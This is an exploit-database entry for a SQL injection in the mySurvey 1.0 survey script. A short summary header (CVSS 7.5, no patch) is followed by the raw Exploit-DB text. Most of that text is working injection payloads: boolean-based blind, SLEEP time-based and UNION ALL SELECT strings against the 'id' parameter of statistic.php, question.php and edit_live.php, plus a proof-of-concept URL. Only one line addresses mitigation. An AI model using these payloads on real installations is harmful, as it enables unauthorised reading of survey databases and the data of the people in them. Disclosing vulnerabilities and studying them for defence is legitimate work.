mySurvey 1.0 - 'statistic.php' SQL Injection

vendor:

mySurvey

by:

Özkan Mustafa Akkus (AkkuS)

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: mySurvey

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: N/A

CPE: a:codecanyon:mysurvey:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux

2018

mySurvey 1.0 – ‘statistic.php’ SQL Injection

mySurvey 1.0 is vulnerable to SQL Injection in the 'statistic.php' page with the 'id' parameter. This parameter is vulnerable to boolean-based blind and AND/OR time-based blind attacks, as well as a generic UNION query. The payloads for each attack are provided in the text.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: mySurvey 1.0 - 'statistic.php' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/mysurvey/6794645
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : You can see the notifications on the left side when you
receive new answers.
This url works in 'statistic.php' with 'id' parameter. This 'id' parameter
is vulnerable.
====================================================

# PoC : SQLi :

http://test.com/mySurvey/statistic.php?id=[SQLi]

Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=31 AND 5291=5291

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=31 AND SLEEP(5)

# /question.php Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2 AND 2740=2740

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=2 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=2 UNION ALL SELECT
NULL,NULL,CONCAT(0x716a787171,0x756d496841646d646a62785a6b7651775a4946456a465142654251536d4b4952646a58564e736166,0x716a627a71),NULL,NULL--
SggH


# /edit_live.php Parameter: id (GET)

    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: id=(SELECT (CASE WHEN (4199=4199) THEN 4199 ELSE 4199*(SELECT
4199 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-6620 UNION ALL SELECT
CONCAT(0x716a6b6b71,0x706169774d7955627455656966494d4a78775a6d6e63504f7342426d5266497556767a57636e636e,0x7170786a71),NULL,NULL--
tDPV



# /statistic.php Parameter: id (GET)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=31 AND 5291=5291

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=31 AND SLEEP(5)


====================================================